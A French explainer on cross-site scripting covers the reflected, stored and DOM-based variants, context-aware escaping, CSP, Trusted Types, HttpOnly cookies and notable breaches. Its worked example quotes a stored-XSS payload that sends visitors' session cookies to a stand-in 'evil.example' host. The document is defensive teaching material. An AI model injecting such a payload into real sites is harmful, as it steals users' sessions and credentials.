XSS

XSS (Cross-Site Scripting — le X est une faute de frappe historique qui est restée) est une attaque par injection où du JavaScript contrôlé par un attaquant s’exécute dans le navigateur d’une victime dans le contexte d’un site de confiance. Trois variantes :

• XSS réfléchi — l’attaquant conçoit une URL contenant du JavaScript ; la victime clique ; le site renvoie le paramètre d’URL non échappé, et le script s’exécute. Exemple : ?search=<script>evil()</script>.
• XSS stocké— l’attaquant soumet du contenu malveillant (un commentaire, une biographie de profil) que le site stocke et rend ultérieurement non échappé à d’autres utilisateurs. Pire que le réfléchi car il se déclenche automatiquement pour chaque visiteur.
• XSS basé sur le DOM — le script s’exécute purement côté client, le contenu malveillant ne touchant jamais le serveur. Souvent via document.write, innerHTML, ou la gestion non sécurisée des fragments d’URL.

Défenses : encodage de sortie contextuel (échapper HTML lors du rendu, échapper JS à l’intérieur des blocs script, encoder URL pour href). En-têtes Content Security Policy (CSP) comme défense en profondeur. Les moteurs de templates qui auto-échappent (Jinja, ERB, React JSX) éliminent la plupart des XSS réfléchis et stockés par défaut.

XSS reste dans le Top 10 OWASP non parce que la correction est difficile, mais parce qu’il est facile de contourner l’auto-échappement avec des trappes de style dangerouslySetInnerHTML et un seul endroit oublié ruine toute la défense.

La sensibilité au contexte que personne ne respecte : l’échappement HTML (< pour <) est correct pour insérer du contenu utilisateur dans le corps HTML. C’est incorrect partout ailleurs. À l’intérieur d’un bloc <script>, vous avez besoin d’un échappement de chaîne JavaScript. À l’intérieur d’un attribut href=, vous avez besoin d’un encodage URL plus un blocage du schéma javascript:. À l’intérieur d’un style= CSS, vous avez besoin d’un échappement différent qui supprime les expressions CSS. À l’intérieur d’un attribut de gestionnaire d’événements (onclick=), vous avez besoin à la fois d’un échappement HTML et d’un échappement JS imbriqués. Les moteurs de templates qui “échappent juste tout en HTML” manquent silencieusement les contextes d’attribut, d’URL et de gestionnaire d’événements — DOMPurify ou une bibliothèque consciente du contexte gère l’ensemble complet.

Trusted Types — la défense moderne portée par Chrome : Trusted Types (W3C Working Draft, livré dans Chrome depuis la version 83) est une API navigateur qui refuse d’accepter des chaînes brutes dans les puits d’injection comme innerHTML, document.write ou setAttribute. Le code doit soit marquer explicitement une valeur comme “de confiance” via un assainisseur, soit l’affectation lève une TypeError. Activé via Content-Security-Policy: require-trusted-types-for 'script', cela transforme effectivement chaque puits potentiel de XSS en erreur au moment de la compilation plutôt qu’en vulnérabilité à l’exécution. L’adoption est encore progressive mais la trajectoire de sécurité des nouveaux frameworks web est clairement vers la compatibilité Trusted Types. Référence : OWASP — Cross-site Scripting (XSS).

Exemple concret

Un blog accepte un commentaire et rend <div>{comment}</div> côté serveur sans échappement. L’attaquant soumet <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. Chaque visiteur suivant charge la page, le script s’exécute dans l’origine du blog, et son cookie de session est exfiltré. Atténuation en trois couches : (1) Échapper HTML le commentaire lors du rendu pour que < devienne < — le script se rend comme texte littéral. (2) Définir le cookie avec HttpOnly; Secure; SameSite=Strict pour que même si XSS atterrit, le cookie ne soit pas accessible depuis JavaScript. (3) Déployer un CSP strict : Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m'; object-src 'none'; base-uri 'none' — les scripts inline sans le nonce correspondant sont bloqués, donc une balise <script> injectée ne peut pas s’exécuter même si l’échappement échoue. Défense en profondeur : n’importe quelle couche aurait arrêté l’attaque ; ensemble elles rendent la classe de bug pratiquement inexistante.

Quand et pourquoi c’est important

XSS est la vulnérabilité de référence pour le vol de credentials, le détournement de session et la prise de contrôle en un clic. La brèche British Airways de 2018 (380 000 détails de cartes exfiltrés), la brèche Ticketmaster de 2018, et la longue série Magecart ont toutes commencé comme des variantes XSS ou d’injection de script côté chaîne d’approvisionnement. La bonne nouvelle est que les frameworks modernes (React, Vue, Angular, Svelte) auto-échappent les valeurs interpolées par défaut — la classe de bug est bien plus rare dans le code vert que ce n’était le cas il y a dix ans. La mauvaise nouvelle est que chaque framework fournit une trappe (dangerouslySetInnerHTML, v-html, [innerHTML], {@html ...}) qu’un développeur fatigué atteint inévitablement, souvent pour injecter du contenu CMS ou des widgets tiers. Le plan de jeu défensif : activer CSP avec nonces ou hachages, définir HttpOnly sur les cookies de session, utiliser DOMPurify pour tout cas où vous devez accepter du HTML, et auditer les résultats grep pour les API à trappe du framework lors de la révision de PR. Référence : OWASP XSS Prevention Cheat Sheet.